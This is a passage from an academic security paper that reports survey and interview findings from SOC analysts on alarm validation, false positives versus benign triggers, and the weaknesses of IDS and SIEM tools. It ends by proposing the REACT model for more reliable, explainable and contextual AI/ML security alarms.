ipant information sheet, and indicated their consent by
signing the consent form. Two researchers conducted
the interviews to 1 enable consistency of the data col-
lection process, 2 mitigate the risk that an interviewer
would bias participants by asking leading questions, 3
obtain multiple perspectives enabling peer reflection at a
later date, and 4 ensure that all questions were covered.
However, not all questions were discussed in depth, de-
pending on the participants’ position in the SOC.

Data Analysis— The audio-recorded interviews were
transcribed, resulting in textual data of 105,523 words.
We ensured the ethical handling of the data by preserv-
ing the anonymity of the participants and their organiza-
tions, anonymizing transcripts before analysis and stored
with appropriate security protections. We applied Tem-
plate Analysis (TA) [23], starting with an a priori set of
themes we were interested in, allowing the code to evolve
with the addition of newly arising themes. The Template
Analysis approach was chosen over Grounded Theory as

TA themes are less prescriptive, providing the ability to
identify and add new concepts if discovered while allow-
ing us to have preconceived theories [23]. Related work
has applied TA [42] to analyze the qualitative data of
their study on SOCs. As there are still few studies on
SOCs, TA is useful due to our partial understanding of
the concepts that need to be identified in the data [42].

Two researchers initially coded five interviews and
identified parts of the transcriptions that were relevant to
the specified themes, assigning an a priori theme code to
them. When an interesting part was encountered that did
not have a matching theme code, a new theme code was
created or an existing theme was broadened. We used
the codes that arose from the subset of the data to pro-
duce the initial template. The template was hierarchical,
with additional sub-themes included within each theme.

The lead researcher then applied this initial template
to the rest of the interviews, modifying the codes as nec-
essary until a final template was generated. In develop-
ing the final template, the lead researcher engaged in fre-
quent discussions with other team members, to ensure
the quality of analysis and that personal beliefs and bi-
ases did not affect interpretations. Using the final tem-
plate, we interpreted the data and wrote our findings.

4 Quantitative Findings

Twenty analysts completed our survey, as shown in Ap-
pendix A.2. The survey was not intended to identify
statistical significance; instead, it was used to focus the
semi-structured interviews, identifying pain points and
priorities that might have been missed in prior work, to
improve the comprehensiveness of our contributions. We
present in this section a summary of the findings that
drive the qualitative study design.

Prevalence of FPs— Our pilot study experts ex-
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pressed a distinction between alerts and alarms in SOCs;
security tools produce the former while SIEMs generate
the latter as a result of the correlation of multiple alerts.
We clarified this distinction in the survey questions.

90% of the participants reported that they use IDS,
80% use a SIEM and 55% use data/log Aggregation
Tools (e.g., Splunk). Only two participants reported us-
ing machine learning-based tools. 45% of analysts re-
ported that they receive less than 5K alerts daily. Partic-
ipants receiving over 100K alerts were from large enter-
prises with fewer than 20 analysts working in the SOC,
40% of which served government customers. From these
alerts, some analysts (n = 10) shared the number of alerts
they processed daily and the proportion of these that they
found to be legitimate. For example, one participant in-
dicated that one out of every 100 alerts investigated is
an actual threat, while another stated that in every 200
alerts, 50 were found to be legitimate.

Assertions— We show the responses to the Asser-
tions in Table 3. 55% of analysts reported reliance on
their tacit knowledge and experience (more than 51% of
the time) and understanding of the monitored network in
their job (A-8). Participants agreed that they are often
required to make decisions about the accuracy of alerts
produced by tools (A-7). Based on this, we expected an-
alysts to be unhappy with tools such as IDSs; yet the re-
sults show that respondents were undecided on IDS ade-
quacy (A-3). They did agree that they find the number of
alerts generated by most IDSs overwhelming, however
(A-4). Analysts strongly agreed on the importance of the
human role in detection, filtering FPs, preliminary analy-
sis of events and detecting network anomalies missed by
automated systems (assertions A-5, A-6). 58% indicated
that they process the security alerts based on awareness
of regular network activity while 47% said they did so
based on the alert severity rating.

4.1 Deriving Interview Research Questions

Researchers have used FPs as a metric for evaluating sys-
tem performance when proposing security tools, seek-
ing few FPs for optimal performance. In recent work,
Kokulu et al. [24] found that SOC analysts do not con-
sider FPs in automatic malicious activity detection a sig-
nificant issue in SOC operations. In contrast, our quan-
titative analysis indicated that practitioners do, in fact,
experience an overwhelming number of alerts which in-
clude frequent FPs (A-1, A-4). We therefore focused our
interview Research Questions (RQs) on exploring this
topic. Assertions A-3, A-7, A-8, A-9, A-10 indicated
perceived limitations of alerts, meaning analysts need to
decide their accuracy; RQ3 and RQ4 explore these lim-
itations further and how the quality of tool alerts and
SIEM alarms could be improved.

SIEMContextual
Data Alarm
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Alarm Validation
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Figure 2: Alarm Validation in SOCs

• RQ1: How do SOC analysts distinguish true alarms
from false alarms?

• RQ2: What do analysts perceive to be FPs, and how
can we establish a more precise definition?

• RQ3: What are the limitations of alarms produced
by existing SOC tools?

• RQ4: How can we design better tools to improve
the alarms’ quality and filtering of FPs?

5 RQ1: Understanding Alarm Validation

Our interview analysis revealed a similar process across
the participating SOCs in alarm validation, shown in Fig-
ure 2. SOC operations rely on alerts from security tech-
nologies (e.g., NIDS, HIDS), logs derived from various
organizations’ systems and networks (e.g., proxy logs),
and contextual data stored in the Knowledge Base (e.g.,
vulnerability scan results) collected into one system—
the SIEM. Using these data sources, the SIEM generates
an alarm evaluated by the analyst based on their knowl-
edge of the organization, network, and tacit knowledge
built from experience. The analyst then needs to make a
decision on whether it is a true alarm or a FP, a process
called alarm validation.

Similar to our survey findings (assertions A-5 to A-8),
the interviews revealed the magnitude of human involve-
ment throughout SOC processes. Although technology
might detect and generate the alarm, it is still the analyst
who needs to evaluate that alarm to determine its valid-
ity (A1, A2, B3, B4, C5, E7, E10, G18, G19, G21). In
doing so, analysts rely on their human cognitive abilities
(e.g., pattern matching, association, reasoning, and com-
putation). As A2 remarked: “I think that that’s where
the human element still remains because even when you
get an alert, the alert will have to be sent to a human to
make that intelligent decision.”
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Although tools such as SIEMs may assist analysts in
correlating alarms, in most cases analysts are more ca-
pable of connecting these patterns themselves to detect
threats than SIEMs. For example, when discussing their
validation of an incoming alarm, analysts mentioned an-
alytical questions that are a result of their reasoning, such
as “Is the activity ongoing?” and “What processes were
running on the server?”, the answers to which they would
find using the existing technologies (e.g., SIEM).

There is also reliance on practitioners to configure the
security technologies, such as defining the SIEM use
cases/correlation rules (A1, A2, E7, E8, F13, F14), iden-
tifying data sources to collect into the SIEM (B3, B4,
E8), and base-lining and tuning (A2, F14, G19). The
SOC practitioners’ configuration of the security tech-
nologies dictates the threats it will detect and the alarms
it will generate. SOC practitioners spend time under-
standing the monitored environment, and its potential
threats, to develop use cases. A use case is defined as
a “Specific condition or event (usually related to a spe-
cific threat) to be detected or reported by the security
tool” [9]. Analysts design use cases configured into the
SIEM to generate an alarm on the detection of particular
scenarios. A1 explained: “The kind of rules, ‘what is it
I’m looking for?’ [...] still initially has to be set up by a
human, so there’s definitely room for the human still.”

Alarms are periodically reviewed by the analysts to
tune the defined alarms further and eliminate FPs. Sim-
ilarly, through understanding the organization’s regular
environment use (i.e., base-lining), security tools’ pa-
rameters (i.e., thresholds) are configured accordingly.
G19 explained how SOC practitioners review alarms
with the customer to check that they are within the cus-
tomer’s tolerance. G19 explained: “We’ll then dig into
those and look for, ‘is there noise in there?’ We will look
at the tickets that were generated for the customers, and
how many of those will come back from the customers as
‘well we sort of want to know about this but we sort of
don’t.”

Such configurations and tuning are critical to ensure
that only true alarms are reported. Unfortunately, most
of such tedious configurations fall on the analysts them-
selves.

Similar to any decision-making process, our analysis
revealed this reasoning is impacted by multiple factors,
hence, affecting their decision-making during alarm val-
idation. We discuss such aspects in the following.

Type of Customer— Participating SOCs that serve
public/government customers reported that the budget
is a limitation (A1, A2, B3, E9, E11). Consequently,
this introduces challenges in acquiring the latest secu-
rity monitoring technologies or changing existing, ex-
pensive monitoring solutions. Participant A1 explained
when prompted about why their SOC does not have a

SIEM: “We are a public sector body who move very,
very slowly, so when new developments and technology
come along, they don’t necessarily get deployed straight-
away.” Analysts in that SOC need to access the technol-
ogy logs directly rather than have a SIEM to aggregate
them, slowing down their detection and triaging. Hence,
such limitations that hinder the adoption of new or more
reliable tools may lead to untrue alarms.

As we found in the survey results (A-9, A-10), the an-
alyst’s knowledge of the monitored environment and its
typical behavior impacts how they triage alarms. Such
knowledge is built over time. Due to the sensitive na-
ture of some customers, working in a SOC that serves
such customers requires the analyst to have a security
clearance. As our participants highlighted, this intro-
duces many challenges to SOC operations, particularly
skill recruitment (A1, E7), tools used (A1), information
access (A2), and how incidents are reported and handled
(E8). For example, obtaining access to a customer’s net-
work diagrams that may be “classified”, but are vital to
validate any alarms, adds to the complexity of the prac-
titioner’s job as explained by A2: “It depends on the se-
curity classification as well, because we’re working in a
security tier system [..], you could be an analyst but they
are setting their diagrams, you will never ever see it. So,
that adds complexity into them.”

Type of SOC— The type of SOC (internal or MSSP)
has a significant impact not only on the procedures
and processes it follows but also on analysts’ decision-
making (A1, B4, D6). For example, as B4 explained,
MSSPs monitor and report any detected alarms to the
customer while it is the customer’s job to decide how to
handle the incident. “From our perspective, we’re really
monitoring, alerting and notifying customers. We don’t
have the authority to shut down communications or do
any interaction on the network.”

However, monitoring for such a customer introduces
pressure on the analysts to raise every possible suspi-
cious alarm to avoid appearing incompetent or receiving
possible fines (A1, A2, D6, E7). As D6 remarks: “Being
analysts, most of them are afraid not to raise them to the
customer. They do tend to raise quite a lot of alarms to
the customers, obviously to be on the safe side.” A1 also
stated: “The security teams are there to maintain avail-
ability above all else because it’s when it’s not available
to the [customer] that you start seeing fines...”.

Most SOCs have predefined procedures called a “play-
book”, which details steps the analyst follows in dealing
with a security alarm. When monitoring multiple cus-
tomers, MSSP SOCs rely on such documentation that de-
scribes each customer’s requirements for dealing with a
security event as explained by G19: “So we have a play-
book for internal events just like we have a playbook for
external events, and the people that we’ll interact with
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are primed in the same way, so they know what we will
be telling them during an event, and the same for esca-
lation paths as well.” However, in in-house SOCs, such
documentation may not be as critical as the SOC ana-
lysts monitor one network/customer. The analyst can di-
rectly communicate and discuss with colleagues and se-
nior members on triaging an alarm as stated by E7: “It’s
much better, quicker because our SOC is only the size of
that bit of the room [approx 8x6m] Tom [analyst] turns
around, and John [SOC manager] sat 3 foot away and
says John, what do I do about this?’ ”

Knowledge of Monitored Environment— Analysts’
knowledge of the monitored environment is vital for
proper validation of the SIEM alarms, which is achieved
by experience and obtaining access to logs (A2, B3, B4,
D6). As explained by A2: “To be able to make a decision
as to whether an event or an incident is a false positive
or not, it comes down to knowing your environment”.

Although obtaining the data sources from an organiza-
tion for an in-house SOC might be achievable, an MSSP
SOC is restricted by the customer’s data provided to them
according to the service level agreement (SLA). Limited
access to important logs hinders the analysts’ ability to
make an informed decision on an incoming alarm. As
B4 noted: “For the most part it’s about understanding
the network topology, [...] It depends on how much the
customer wants to share but the more they share, the bet-
ter a job we can do.”

Oftentimes an alarm may result from a benign change
that occurred in the network/system. In such cases, the
analyst needs to be aware of these changes to avoid te-
dious false alarm triaging (A1, A2, E7, G19). Adequate
Change Management processes, where changes in sys-
tems/networks are documented, need to be in place. Such
changes may not be properly communicated to SOC
practitioners, an issue found in both internal and MSSP
SOCs. A1 provided an example of how not communi-
cating network changes led to wasting SOC team efforts.
A1: “We were seeing a huge amount of ICMP traffic
that we don’t normally see [...], actually, the network-
ing team sit right next to us so you’d think they would
be all over anything to do with ICMP, they have no idea.
It turned out that they deployed a new security tool into
the network and nobody had told us.” Similarly, G19
highlighted that some customers are not usually aware of
the change within their network/systems until the MSSP
SOC questions them, as G19 remarked: “So usually we
will highlight something to the customer saying “this
server has gone quiet, have you changed it?” And they
will go “let’s go and check” because we will engage with
the security side of the business”.

Summary— Our findings highlight the overwhelm-
ing number of FPs generated by security tools and the
reliance on humans (analysts) in the tool configurations,

Table 4: Strengths and Weaknesses of IDS and SIEMs as
Reported by Interviewees

Features Participants
IDS Strengths
Good first indicator for an attack B3, D6
Ability to deal with high volumes C5, E7
Easy and fast signature writing A1, A2, G19
IDS Weaknesses
Mostly false alarms A2, D6, B3, G19, C5
Unreliable signature A1, B3
Black-box B4, C5, D6
Loosely written A1, A2, G19
Lack of detection of new threats A1, B3, E10, G21
Lack of context B4, C5, G18, G19
SIEM Strengths
Visibility B3, E8, F15
Custom SIEM correlation rules B3, C5, D6, E7, E8, G18
Cross-event, Cross-platform A2, B3, C5, E7, E10, F15
Normalization B3, D6, E10, F12, F15, G18, G19
Prioritization A2, A1, B4, D6, E10, F15
SIEM Weaknesses
Overwhelming data amount B3, B4, E8
Reliance on analysts for FP filtering B3, B4, E8, F17, G18, G19
Use of structured datasets,
Time to retrieve query results E9, E11, G21, G18

Cost F15, C5, A1, E8

alarm tuning and base-lining. Alarms generated by these
tools are then validated manually by analysts, a tedious
process that is impacted by multiple factors (e.g, type
of SOC, client). SOC operations are far from being au-
tomated, and humans use their cognitive abilities and
knowledge to determine if an alarm is an FP or a true
alarm. However, what do analysts perceive to be a FP?
Is an alarm due to a misconfiguration considered to be a
FP? We discuss the definition of FPs in the following.

6 RQ2: Definition of FPs

When describing the overwhelming number of alarms re-
ceived, B3 quantified it as 99%, stating: “We know 99%
of the alarms we generate are false positives, but we still
have to look at them.” Such dissatisfaction of the number
of alarms were expressed by multiple analysts, as found
in our survey results (A-1, A-4).

On the other hand, analysts were neutral on IDSs’ in-
adequacy in detecting attacks (A-3). Therefore, we fol-
lowed up with interviewees on these conflicting asser-
tion results, which prompted an interesting discussion on
the perception of FPs. As a result, a number of themes
emerged during coding, describing an alarm as being
“noisy”, “ignored”, or the result of a “benign trigger”.
For example, if an alarm was produced by a security
tool, but the customer is aware of them and its origin
but chooses to ignore it for a business reason, should it
be classified as a FP? Such alarms’ classification as FP

2790    31st USENIX Security Symposium USENIX Association



depends on the analyst’s perception of a FP, as D6 ex-
plained: “Whether they’re accurate and a FP, now, it de-
pends on how you perceive a FP. So if we raise an alarm
to the customer, and they’re aware of it, they will just call
out, we are aware of it, but it’s a FP in that sense.”

This phenomenon was referred to by C5 as a “benign
trigger.” False alarms are used to describe an alarm be-
ing generated without an actual security-related event
(the boy who cried wolf). In contrast, benign triggers
are real alarms, meaning they match an existing signa-
ture but the organization chooses to ignore them for a
“business-justified” purpose. C5 remarked: “You have a
very high number of events, and it doesn’t mean they’re a
FP, but it means many are again triggered by benign trig-
gers. Which means the condition is perfectly matched,
and the filter as such works, but the circumstances are
completely legitimate. This is benign, because the pur-
pose is business-justified, and it’s not malicious, it just
manifests in the same way as particular malware would.”

C5 also noted that most alarms produced in an SOC
are benign triggers: “The benign trigger probability is
usually very high, from hands-on experience. So is the
volume itself, across the IPS/IDS vendors.” G19 also de-
scribed such an occurrence where tools are performing as
they were designed, but generating unactionable alarms
as the tool being “noisy.” G19 provided an example of a
benign trigger due to outdated Java versions, explaining:
“Snort signatures, we have particularly noisy — well I
say they’re noisy, they’re always doing exactly what they
should do, they’re always identifying vulnerable versions
of Java, but a lot of companies have a lot of vulnerable
versions of Java, so we get a massive influx of it.”

Summary— Participants showed a distinction be-
tween what they consider an FP and what they consider
to be noise or a benign trigger. The former is a met-
ric to describe false alarms due to the tool’s low perfor-
mance, while alarms that organizations choose to ignore
for a business justification or due to how the network or
system is configured are benign triggers/noise. Hence,
when evaluating the performance of a system deployed in
a real-world setting, using the term False Positive gives
the impression that the technology itself is fundamentally
flawed. When the analyst reported a 99% FP rate, this is
found to be mostly benign triggers and not necessarily a
measurement of the performance of the technology itself.

7 RQ3: Quality of Alarms

During the analysis of the interviews, we identified
a consistent theme emerging where participants, when
prompted to discuss security tools’ strengths and limita-
tions (summarized in Table 4), would express their frus-
tration at the quality of the alarm. We discuss these limi-
tations in the context of alarm quality in the following.

7.1 Alarm Reliability & Customizability

When asked about the limitations of security tools, the
main faults reported by interviewees for IDSs is the high
volume of FPs (A2, D6, B3, G19, C5). As F17 ex-
plained: “I think the tedious part is FPs that we deal
with”.

IDS accuracy, and therefore the usefulness and relia-
bility of alarms that help analysts take action, is highly
dependent on how IDS filters, rules and signatures are
written. For example, in the case of malware signatures,
those that incorporate IP addresses as a filter are not re-
liable, as malware is prone to changing its domain. B3
explained: “A lot of the network-based stuff I don’t find
very reliable, just because a lot of the IOCs are based on
IP addresses which change, based on domains which get
shut down.”

Likewise, A1 explained that a poorly written signature
would result in many alarms that analysts can not review,
rendering the signature not useful: “It’s kind of an inter-
nal battle of having a signature for the latest threats and
having a useful signature because if it’s just constantly
firing, nobody’s got the time to review all of them, so it
has to be well written and they’re not always.”

Signatures are not designed to consider benign trig-
gers. Some organizations have certain benign condi-
tions that could be easily flagged as malicious by security
tools, as G19 explained: “Some of the signatures are very
poor, so they will look for the words ‘select’ and ‘from,’ in
clear text, in a packet, but it could be ‘from’ and ‘select’
in a packet, there’s no context applied, or ‘drop tables’ a
classic one, so we have a customer who sells a [drop ta-
ble], I’m assuming it’s a fold-down side table, every time
they sell one of them it fires an alert, but it fires it on the
SQL injection alarm, so you can’t turn that signature off,
as poor as it is.”

Some analysts reported that signatures are “loosely
written”, meaning written to be general to capture a vari-
ety of activities. This results in a high volume of FPs, as
A2 explained: “Some signatures are written very loosely
in order to allow it to capture a wide range of activities
and those are some of the downfalls of using it.”

As the malware evolves and generates various attack
behaviors, signatures can be written to be too broad to
capture all these possible behaviors. D6 also explained
how malware signatures in some tools are engineered to
capture only part of the malware activities. As a result,
when that malware signature is triggered, the analysts are
left confused about the kind of malware that triggered it.
A1 remarked:“Malware can change so quickly now that,
yeah, a lot of their signatures can be very loose and very
broad to try and capture every possibility.”

The correlation of multiple data sources to generate an
alarm is a strength of SIEMs, as reported by participants:
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B3, D6, G18, C5, E7, E8. For example, D6 described the
SIEM correlation capability to “help paint a better pic-
ture of a customer” and to “help perform a better anal-
ysis”. Such correlation alarms were carefully designed
by the analysts to fit a specific client use case. B3 also
highlighted that alerts generated by IDS/IPS tools are not
reliable on their own, but, correlating them with alerts
generated by other platforms provides more confidence
in its validity. B3 remarked: “Any one source on its own,
I don’t find that useful. That is why most SOCs now, the
core bit of technology is a SIEM...”

SOCs usually have a relatively extensive set of cus-
tom alarms (i.e, correlation rules), which the analyst is
expected to react to immediately. The analyst finds these
rules effective, as they design them specifically for the
monitored organization, as B3 explained: “We do cor-
relation rules like that. It proved quite effective, just
because you are generating that event yourself.” Such
alarms are “respected” by analysts as explained by C5:
“It’s about crosslatform, cross-event source correlation,
that we can actually have high respect for.” SIEM cor-
relation rules and signature-based systems’ customized
signatures are strengths, reported by A2 and G19. For
example, G19 explained that if there are specific known
traits within the environment that they want to monitor,
they define a signature for it: “In terms of the good fea-
tures, they have capabilities for you to deploy your own
customized signatures.”

Summary— Participants described alerts produced
by traditional security tools (e.g., IDS/IPS) as unreli-
able for many reasons: (1) their reliance on features that
change (e.g., domain names); (2) signatures written to
deal with new threats quickly, thus not adequately de-
signed and not reviewed later due to lack of time; or (3)
signatures loosely or too broadly written, to cover mul-
tiple kinds of attacks. Analysts find SIEM correlation
rules more useful as they incorporate multiple indica-
tors to generate an alarm. However, as SIEMs rely on
alerts generated by traditional security tools in correla-
tion rules, the limitations of those tools will also impact
the reliability of the generated SIEM alarm. Each orga-
nization’s networks and systems are unique, so the cus-
tomizability of the alarms to fit the monitored environ-
ment is a desirable feature. For example, SIEM alarms
are described as more useful and effective, specifically
correlated alarms due to their customizability where an-
alysts design these alarms themselves specifically for the
monitored environment.

7.2 Alarm Explainability

One of the disadvantages of commercial security tools
is that they are closed systems (i.e., black-box (B4, C5,
D6)), which means that the analyst receives an alert but

does not know the reason for the detection. In cases
where the security tool produces a “reason” or descrip-
tion of the alarm, they are incomprehensible or are short
descriptions that do not explain why the alarm was pro-
duced, leaving analysts to decipher it themselves. This
requires them to research and gather more information
about the alarm using, for example, the filter name to
understand the reason behind an alarm. C5 remarked:
“Sometimes it’s a generic filter, you have a one-sentence
description, this is very often the case, and you don’t
know what logic they put inside, because that’s propri-
etary enclosed information.”

Such a lack of clear description of the reasoning be-
hind an alarm forces analysts to spend time evaluating
its validity, reducing their productivity. Moreover, the
lack of explainability causes alarm desensitization. As
C5 explained, analysts lose their “trust” in the validity
of the alarm:“So that’s one issue of traditional IPS/IDS,
that we also don’t really have high respect for, because
if you don’t tell me the reason you fire, you’re not ready
to open up the reason you produce an event for me, and I
have only a very high level of description that may not be
usable, it’s not usually usable, let alone actionable, then
I can’t have really high respect on that.”

Similarly, B4 explained that ambiguity and an inad-
equate description of alarms leads to uncertainty about
the existence of an attack, resulting in no action from an-
alysts. Hence, analysts are required to inspect the raw
data (e.g., network packets) to determine the cause of the
alarm. B4 remarked: “Because without it you’re pretty
blind because if you see the content that a signature
wants to match on plus a few bytes after [...] you can’t
really confirm whether something bad has happened or
not.” Such a manual inspection of the packet might not
be possible with encrypted traffic, as G19 noted: “If that
traffic is then encrypted, you might get the alarm but you
can’t see the raw text.”

One of the strengths of SIEM platforms is their abil-
ity to provide analysts with visibility on the monitored
environment, as the more information they can view the
better their situational awareness [6]. Although attrac-
tive for comprehensive monitoring, this might result in
a vast collection of data and alarms that overwhelm the
analysts. B4 remarked: “Downsides may be sometimes
too much information.” For this reason, it is best practice
when deploying SIEMs to design properly the “correla-
tion rules” and collect data sources needed only for these
rules to avoid the problem of “too much information”, as
noted by E8, F13, F14.

Summary— Commercial security tools oftentimes
are black-boxes, generating unexplainable alarms or
those with short descriptions that require analysts to re-
search further in order to make an actionable decision.
In situations where analysts are evaluated by their per-
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formance and the number of tickets they close [40], such
a monotonous task reduces their productivity. Analysts
described such unexplainable alarms as “untrustworthy”,
“unuseful”, and “poor”. Although SIEM systems are a
repository of data that allows analysts to “fast query”
based on their own human analytical reasoning, they still
provide too much data that overwhelm analysts. Alarms
generated from correlation rules, designed by the ana-
lysts to fit the organization’s environment, include only
the “bare minimum” of data sources needed, and are thus
more respected by analysts.

7.3 Alarm Contextuality

The participants identified a lack of context in alarms
generated by IDS (B4, C5, G18, G19). As we discussed
in Section 5, context such as knowledge of the asset and
network helps practitioners eliminate FPs and determine
the path of investigation. This knowledge spans, for ex-
ample, the network topology and devices, what these de-
vices are used for, and their location and owner. For ex-
ample, knowing an asset is a Windows machine helps
when receiving an alarm for a Linux signature. As D6
expressed: “Again, the topology of where the server is
based is important”.

Not only do analysts need to know the network they
are defending, but they also need to be aware of the cus-
tomer’s business. Knowledge of the customer is critical
in many aspects in the SOC operations, from ruling out
FPs to deciding on how to respond to a threat. D6 re-
marked: “It’s not just about what you see in the security
events, or in the tools, it’s about what you know of the
customer and the customer’s nature—business nature.”

One participant provided an example of how valuable
such knowledge could be for determining an FP. After
detecting substantial outgoing connection from the cus-
tomer to another company and spending time investigat-
ing, they researched whether there was any business be-
tween these two companies. They found out that their
customer had recently acquired the other company. Sim-
ilarly, E10 remarked on how knowing the customers’
working hours helped in filtering an FP: “I use open-
source intelligence to build up a view of the customer
first, [...]. So I’ll figure out like if they are in Dubai or
wherever that they might not be doing the same working
hours [...], because we have been caught out by that one
before, there is no traffic on a Friday.”

Analysts might acquire knowledge from third parties,
such as ISPs, security vendors, and the security com-
munity to investigate threats. Security vendors are re-
sponsible for maintaining their products and providing
Indicators of Compromise (IoC) and signatures for new
threats. The security community can also assist the SOC
process through intelligence sharing, writing blogs about

how a threat behaves and spreads. As we found in our
survey, 35% of our participants triage alarms according
to newly announced vulnerabilities in security blogs. B3
remarked: “WannaCry was great, because straight away
people were publishing blogs, this is how it spreads. This
is what you need to look for, and you could go and look
for it before there were any signatures for it. We were
finding things quite quickly.”

Summary— Contextual knowledge about the net-
work and systems can improve alert validation [8, 25]
significantly. This was confirmed in both our quantita-
tive and qualitative findings. However, we found that an-
alysts not only rely on technical knowledge (i.e., network
and assets) in FP filtering but also knowledge about the
business (e.g., work hours) and knowledge acquired from
third parties (e.g., ISP and vendors). Incorporating this
knowledge with the alarm provides context to expedite
the alarm validation process.

8 RQ4: Designing Better Tools

One of the study findings is the lack of adoption of ML
technologies in our participating SOCs, especially those
that serve government clients. As shown in Section 4,
only two survey participants (10%) indicated they use
AI/ML security monitoring tools. Hence, we focused
the interview questions on the most-used SOC tools (e.g.,
IDS, SIEM), but still probed analysts during interviews
on why AI/ML security tool adoption is low. Analysts
reported reasons such as: 1 their skepticism of ML ap-
plications in commercial tools (B4); 2 the absence of
accreditation bodies attesting the correctness of the ML
model design (e.g., not authorized to be deployed in gov-
ernment networks) (A1); 3 Absence of historical orga-
nization data to train the ML models (E7); 4 The preva-
lence of FPs (B4). As B4 explained: “Machine learning
itself would learn what normal is but humans aren’t ex-
actly going to be normal and do the same stuff every day,
so I think that platforms like that themselves have a lot
of false alarms.”

The latter reason is supported by the 2019 study by
SANS [11], which found an overall dissatisfaction with
AI/ML tools due to their frequent FPs and the high levels
of involvement required by knowledgeable and skilled
analysts. Despite ML systems’ high prediction perfor-
mance, they may not adequately explain the reasons be-
hind these predictions, resulting in a deficit in the quality
of the alarm.

Using our qualitative findings on the limitation and
strengths of used tools, we derive the following recom-
mendations to address how alarms produced by tools can
be improved. As the prevalence of FPs was also a con-
cern for AI/ML security tools, and to foster the better
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future design of these tools, we frame these recommen-
dations in the context of AI/ML based tools.

8.1 Recommendations

In response to our findings of the high number and low
quality of security alarms rendering them unactionable,
particularly in identifying FPs, we propose the REACT
model. The REACT model proposes five properties
that need to be present in a security system to produce
an alarm that is “REACTable” by analysts: Reliable,
Explainable, Analytical, Contextual, and Transferable.

Reliable— One of the main findings reported in Sec-
tion 5 is that both vendors and the researchers should use
false alarms or benign triggers as an alternative metric
to FPs, which is general and vague. To increase the ML
model performance, incorporating the analysts’ feedback
on the generated false alarms into the model itself can
strengthen future predictions and alarm prioritization. In
case of benign triggers, the model can then learn that the
prediction made, although true, is not suitable for the or-
ganization at hand, adjusting itself accordingly.

Improving on limitations concerning alarms’ reliabil-
ity (Section 7.1), ML models need to be designed with
attention to the features used. For example, avoiding fea-
tures where values frequently change (e.g., malware do-
main names), or features that are too broad (e.g., Java
version). Models should be trained to detect specific
malicious activities (e.g., scanning) or a specific type of
malware (e.g., worm), avoiding being too broad and at-
tempting to detect everything (e.g., malware).

Promoting an ML system capable of detecting all
types of malware might be more commercial, but each
malicious behavior has a set of unique features that de-
scribe it, and broadening the detection capability of a
single model might lead an increase in FPs. However,
using limited features to train a model might result in ad-
versaries finding ways to bypass detection (e.g., adver-
sarial attacks). Therefore, using Ensemble learning [33]
combines the predictions from multiple niche behavioral
models, reducing the variance of predictions’ generaliza-
tion errors while detecting all forms of malicious behav-
ior. Such an approach will help increase system detection
explainability, a property we discuss in the following.

Explainable— Analysts’ involvement in SOCs is
indispensable, formulating and evaluating hypotheses
about security observations based on their domain
knowledge, intuition, and knowledge of the monitored
environment. Proposed solutions should therefore pro-
mote AI-human collaboration by communicating the
AI’s explainable decisions to humans that provide feed-
back to the AI model. Black-box AI models do not
provide human-understandable insights on their outputs,
leaving security personnel unable to evaluate the reason

behind these predictions.
Explainability of artificial intelligence (XAI) is a set

of methods and techniques that tackle the interpretabil-
ity problem of AI predictions, promoting the production
of predictions that can be understood by human experts.
Explainable AI systems can provide explanations for de-
cisions in a human-comprehensible manner, thus keeping
humans in the loop. Caution is needed when building
AI systems in general; as AI is based on statistics and
probability, analysts actually should not trust the system
completely. Based on system explanations, the analyst
should know when to trust the system’s predictions and
when to apply their own judgment. Analysts’ trust needs
to be calibrated using properly designed prediction ex-
planations. Such explanations would help security per-
sonnel determine whether the AI’s findings merit trust,
based on their expertise of the threat landscape and the
monitored environment.

Current implementations of AI models are unintel-
ligible to non-AI experts, and technical solutions pro-
posed in the field of XAI require very specific techni-
cal expertise [16]. Recent research suggests that im-
plementations of symbolic systems based on semantic
technologies such as Knowledge Graphs (KGs) to be
a promising solution in providing AI prediction trace-
ability and explainability to non-AI experts [26, 28, 39].
Research on explainability in AI security technologies
are still in its early stages. More research is required
on security systems that offer explanatory capabilities to
non-AI experts, optimize decision-making, an enable a
human-machine collaborative environment where secu-
rity personnel cooperate with AI security systems to de-
tect threats.

Analytical— As discussed in Section 5, analysts rely
on their tacit knowledge and knowledge of the moni-
tored environment, built through experience and docu-
mentation of the customer’s system and network-activity
norms. Such knowledge allows them to develop analyt-
ical questions and reasoning that help them investigate
the issue at hand. Research is still far from integrating
human cognitive and social abilities into SOC solutions.
One emerging field to attempt to tackle this challenge is
Cognitive Security [3], a concept that leverages multiple
forms of AI, including ML and deep-learning, to uncover
human cognitive ability.

KGs can be also be used to capture the knowledge
about a security threat landscape, integrating and link-
ing data from different sources, or different types of rep-
resentation [20]. KGs are natively built to be queried,
allowing users to interact with the symbolic system
that provides explanations, then using their own analyt-
ical reasoning and knowledge [14]. Further research is
needed in developing security human-machine solutions
where humans and machines work together (e.g., alarm
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validation), utilizing humans’ analytical capability rather
than using full automation. Our study emphasized the re-
liance of analysts on their experience and knowledge of
the monitored environment in their job. However, de-
veloping such systems that embody analysts’ experience
can introduce biases, especially when considering a non-
representative sample of security expertise.

Contextual— As discussed in Section 7.3, context is
important. For example, a SOC tool that monitors for ab-
normal network activity should consider the customer’s
work hours to eliminate benign triggers such as the ab-
sence of traffic on a Friday. Such context is currently
incorporated into technology to some extent. However,
challenges such as the use of structured storage, where
the volume of data delays query retrieval, limit its im-
plementation. One research opportunity is in investi-
gating how logs and other context data sources can be
represented as KGs. In such graphs, knowledge about
the customer, network, and knowledge from external en-
tities can be incorporated to provide more context to
alarms. Hence, contextual data can be incorporated into
the graph to produce contextual alarms. Moreover, such
a structure can be used by analysts during the FP filtering
process or even hunting. Privacy is indeed a concern in
any organization. Therefore, such SOC systems that in-
corporate context, are usually customized per client, with
contextual data contained within the clients’ SOC, simi-
lar to existing SIEM systems.

Transferable— One of the strengths of current SOC
tools, discussed in Section 7.1, is customization (e.g.,
SIEM use cases). Such capabilities allow analysts to tai-
lor alarms to the monitored organization. Each organi-
zation’s network traffic and asset usage are different, as
are the networks and systems governing them. Accord-
ingly, although SOCs may deploy the same technologies
(e.g., SIEM), they are configured and used differently
and should not be designed as one size fits all.

The success of incorporating AI/ML systems in SOCs
relies on their capacity to adapt the model to the mon-
itored environments. Such an AI system can be built,
for example, using Transfer Learning [31]. Network and
system ecosystems change quickly, and therefore labeled
data collected at a specific time will also change. Trans-
fer Learning can also help in circumstances where data
can easily become outdated, as with network traffic. Due
to privacy concerns, Transfer Learning can help organi-
zations reuse a vendor’s pre-trained model, building a
new model that incorporates contextual features into the
commercially trained ML model feature space.

For an AI-based malware network detection system,
